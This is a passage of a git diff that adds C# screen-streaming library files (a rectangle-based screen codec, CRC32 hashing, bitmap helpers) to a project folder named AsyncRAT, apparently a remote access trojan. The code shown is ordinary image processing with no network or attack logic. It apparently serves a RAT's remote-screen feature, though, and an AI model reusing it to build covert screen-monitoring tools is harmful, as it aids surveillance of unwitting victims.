|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(XOffset, 0));
|
||||||
|
}
|
||||||
|
XOffset += TmpBmp.Width;*/
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Length;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
|
||||||
|
if (UseJPEG)
|
||||||
|
{
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
base.lzwCompression.Compress(TmpBmp, outStream);
|
||||||
|
}
|
||||||
|
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*if (finalUpdates.Count > 0)
|
||||||
|
{
|
||||||
|
byte[] lele = base.jpgCompression.Compress(bmp);
|
||||||
|
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
|
||||||
|
bool Won = lele.Length < outStream.Length;
|
||||||
|
bool CompressWon = compressed.Length < outStream.Length;
|
||||||
|
Console.WriteLine(Won + ", " + CompressWon);
|
||||||
|
}
|
||||||
|
bmp.Dispose();*/
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
finalUpdates.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed(byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||||
|
{
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
tempData = null;
|
||||||
|
|
||||||
|
byte[] buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
using (MemoryStream m = new MemoryStream(buffer))
|
||||||
|
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
}
|
||||||
|
buffer = null;
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
catch { return null; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
186
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
Normal file
186
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
Normal file
@ -0,0 +1,186 @@
|
|||||||
|
// Tamir Khason http://khason.net/
|
||||||
|
//
|
||||||
|
// Released under MS-PL : 6-Apr-09
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Collections;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||||
|
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||||
|
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||||
|
public class CRC32 : HashAlgorithm
|
||||||
|
{
|
||||||
|
#region CONSTRUCTORS
|
||||||
|
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public CRC32()
|
||||||
|
: this(DefaultPolynomial)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||||
|
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||||
|
public CRC32(uint polynomial)
|
||||||
|
{
|
||||||
|
HashSizeValue = 32;
|
||||||
|
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||||
|
if (_crc32Table == null)
|
||||||
|
{
|
||||||
|
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||||
|
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||||
|
}
|
||||||
|
Initialize();
|
||||||
|
}
|
||||||
|
|
||||||
|
// static constructor
|
||||||
|
static CRC32()
|
||||||
|
{
|
||||||
|
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||||
|
_defaultCRC = new CRC32();
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region PROPERTIES
|
||||||
|
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||||
|
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||||
|
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region METHODS
|
||||||
|
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||||
|
public override void Initialize()
|
||||||
|
{
|
||||||
|
_crc = _allOnes;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||||
|
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
for (int i = offset; i < count; i++)
|
||||||
|
{
|
||||||
|
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||||
|
_crc >>= 8;
|
||||||
|
_crc ^= _crc32Table[ptr];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||||
|
protected override byte[] HashFinal()
|
||||||
|
{
|
||||||
|
byte[] finalHash = new byte[4];
|
||||||
|
ulong finalCRC = _crc ^ _allOnes;
|
||||||
|
|
||||||
|
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||||
|
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||||
|
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||||
|
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||||
|
|
||||||
|
return finalHash;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(string asciiString)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(Stream inputStream)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(byte[] buffer)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||||
|
public static int Compute(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
_defaultCRC.Initialize();
|
||||||
|
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
public byte[] ComputeHash(string asciiString)
|
||||||
|
{
|
||||||
|
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||||
|
return ComputeHash(rawBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(Stream inputStream)
|
||||||
|
{
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||||
|
{
|
||||||
|
HashCore(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
return HashFinal();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(byte[] buffer)
|
||||||
|
{
|
||||||
|
return ComputeHash(buffer, 0, buffer.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Computes the hash value for the input data.</summary>
|
||||||
|
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||||
|
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||||
|
{
|
||||||
|
HashCore(buffer, offset, count);
|
||||||
|
return HashFinal();
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region PRIVATE SECTION
|
||||||
|
private static uint _allOnes = 0xffffffff;
|
||||||
|
private static CRC32 _defaultCRC;
|
||||||
|
private static Hashtable _crc32TablesCache;
|
||||||
|
private uint[] _crc32Table;
|
||||||
|
private uint _crc;
|
||||||
|
|
||||||
|
// Builds a crc32 table given a polynomial
|
||||||
|
private static uint[] _buildCRC32Table(uint polynomial)
|
||||||
|
{
|
||||||
|
uint crc;
|
||||||
|
uint[] table = new uint[256];
|
||||||
|
|
||||||
|
// 256 values representing ASCII character codes.
|
||||||
|
for (int i = 0; i < 256; i++)
|
||||||
|
{
|
||||||
|
crc = (uint)i;
|
||||||
|
for (int j = 8; j > 0; j--)
|
||||||
|
{
|
||||||
|
if ((crc & 1) == 1)
|
||||||
|
crc = (crc >> 1) ^ polynomial;
|
||||||
|
else
|
||||||
|
crc >>= 1;
|
||||||
|
}
|
||||||
|
table[i] = crc;
|
||||||
|
}
|
||||||
|
|
||||||
|
return table;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int ToInt32(byte[] buffer)
|
||||||
|
{
|
||||||
|
return BitConverter.ToInt32(buffer, 0);
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,12 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace System.Runtime.CompilerServices
|
||||||
|
{
|
||||||
|
[AttributeUsage(AttributeTargets.Method)]
|
||||||
|
public sealed class ExtensionAttribute : Attribute
|
||||||
|
{
|
||||||
|
public ExtensionAttribute() { }
|
||||||
|
}
|
||||||
|
}
|
||||||
59
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
Normal file
59
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public static unsafe class Extensions
|
||||||
|
{
|
||||||
|
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||||
|
{
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||||
|
for (int i = 0; i < rects.Length; i++)
|
||||||
|
{
|
||||||
|
if (!Rects.ContainsKey(rects[i].Y))
|
||||||
|
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||||
|
|
||||||
|
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||||
|
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||||
|
}
|
||||||
|
return Rects;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||||
|
{
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||||
|
|
||||||
|
for (int i = 0; i < Rects.Values.Count; i++)
|
||||||
|
{
|
||||||
|
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||||
|
{
|
||||||
|
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||||
|
}
|
||||||
|
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||||
|
{
|
||||||
|
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||||
|
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||||
|
{
|
||||||
|
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||||
|
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||||
|
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||||
|
{
|
||||||
|
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||||
|
EndRect = Rects.Values[i].Values[x];
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
EndRect = Rects.Values[i].Values[x];
|
||||||
|
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return RectRows;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
353
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
Normal file
353
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
Normal file
@ -0,0 +1,353 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class FastBitmap
|
||||||
|
{
|
||||||
|
public Bitmap bitmap { get; set; }
|
||||||
|
public BitmapData bitmapData { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
public PixelFormat format { get; private set; }
|
||||||
|
public DateTime BitmapCreatedAt;
|
||||||
|
public bool IsLocked { get; private set; }
|
||||||
|
|
||||||
|
public int Stride
|
||||||
|
{
|
||||||
|
get { return bitmapData.Stride; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
this.bitmap = bitmap;
|
||||||
|
this.Width = this.bitmap.Width;
|
||||||
|
this.Height = this.bitmap.Height;
|
||||||
|
this.format = format;
|
||||||
|
Lock();
|
||||||
|
BitmapCreatedAt = DateTime.Now;
|
||||||
|
}
|
||||||
|
|
||||||
|
public FastBitmap(Bitmap bitmap)
|
||||||
|
{
|
||||||
|
this.format = bitmap.PixelFormat;
|
||||||
|
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
this.bitmap = bitmap;
|
||||||
|
this.Width = this.bitmap.Width;
|
||||||
|
this.Height = this.bitmap.Height;
|
||||||
|
this.format = format;
|
||||||
|
Lock();
|
||||||
|
BitmapCreatedAt = DateTime.Now;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Color GetPixel(int x, int y)
|
||||||
|
{
|
||||||
|
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||||
|
position += CalcOffset(x, y);
|
||||||
|
|
||||||
|
byte A = position[3];
|
||||||
|
byte R = position[2];
|
||||||
|
byte G = position[1];
|
||||||
|
byte B = position[0];
|
||||||
|
return Color.FromArgb(A, R, G, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SetPixel(int x, int y, Color color)
|
||||||
|
{
|
||||||
|
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||||
|
position += CalcOffset(x, y);
|
||||||
|
|
||||||
|
position[3] = color.A;
|
||||||
|
position[2] = color.R;
|
||||||
|
position[1] = color.G;
|
||||||
|
position[0] = color.B;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||||
|
{
|
||||||
|
long offset = CalcOffset(x, y) + 4;
|
||||||
|
if (offset + 4 < ImgData.Length)
|
||||||
|
{
|
||||||
|
byte R = ImgData[offset];
|
||||||
|
byte G = ImgData[offset + 1];
|
||||||
|
byte B = ImgData[offset + 2];
|
||||||
|
return Color.FromArgb(255, R, G, B);
|
||||||
|
}
|
||||||
|
return Color.FromArgb(255, 0, 0, 0);
|
||||||
|
}
|
||||||
|
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||||
|
{
|
||||||
|
long offset = CalcOffset(x, y) + 4;
|
||||||
|
if (offset + 4 < ImgData.Length)
|
||||||
|
{
|
||||||
|
ImgData[offset] = color.R;
|
||||||
|
ImgData[offset + 1] = color.G;
|
||||||
|
ImgData[offset + 2] = color.B;
|
||||||
|
ByteArrayToBitmap(ImgData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void DrawRectangle(Point begin, Point end, Color color)
|
||||||
|
{
|
||||||
|
for (int x = begin.X; x < end.X; x++)
|
||||||
|
{
|
||||||
|
for (int y = begin.Y; y < end.Y; y++)
|
||||||
|
{
|
||||||
|
SetPixel(x, y, color);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int64 CalcOffset(int x, int y)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
return (y * bitmapData.Stride) + (x * 4);
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
return (y * bitmapData.Stride) + (x * 3);
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + x;
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + (x / 2);
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
return (y * bitmapData.Stride) + (x * 8);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||||
|
{
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
return (y * (width * 4)) + (x * 4);
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
return (y * (width * 3)) + (x * 3);
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
return (y * width) + x;
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
return (y * (width / 2)) + (x / 2);
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
return (y * (width * 8)) + (x * 8);
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||||
|
{
|
||||||
|
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||||
|
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||||
|
{
|
||||||
|
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||||
|
|
||||||
|
if (curColor.R != prevColor.R ||
|
||||||
|
curColor.G != prevColor.G ||
|
||||||
|
curColor.B != prevColor.B)
|
||||||
|
{
|
||||||
|
EndPoint = new Point(x, BeginPoint.Y);
|
||||||
|
RetColor = curColor;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||||
|
RetColor = curColor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Unlock()
|
||||||
|
{
|
||||||
|
if (IsLocked)
|
||||||
|
{
|
||||||
|
bitmap.UnlockBits(bitmapData);
|
||||||
|
IsLocked = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Lock()
|
||||||
|
{
|
||||||
|
if (!IsLocked)
|
||||||
|
{
|
||||||
|
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||||
|
IsLocked = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] ToByteArray()
|
||||||
|
{
|
||||||
|
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||||
|
byte[] rgbValues = new byte[bytes];
|
||||||
|
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||||
|
return rgbValues;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void ByteArrayToBitmap(byte[] data)
|
||||||
|
{
|
||||||
|
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
if (bitmap != null)
|
||||||
|
{
|
||||||
|
try { bitmap.UnlockBits(bitmapData); }
|
||||||
|
catch { }
|
||||||
|
try { bitmap.Dispose(); }
|
||||||
|
catch { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bitmap = null;
|
||||||
|
bitmapData = null;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||||
|
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||||
|
/// <param name="endPoint">The end of the X, Y</param>
|
||||||
|
/// <param name="ImgSize">The size of the image</param>
|
||||||
|
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||||
|
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||||
|
{
|
||||||
|
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||||
|
|
||||||
|
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||||
|
{
|
||||||
|
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||||
|
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||||
|
|
||||||
|
switch (format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
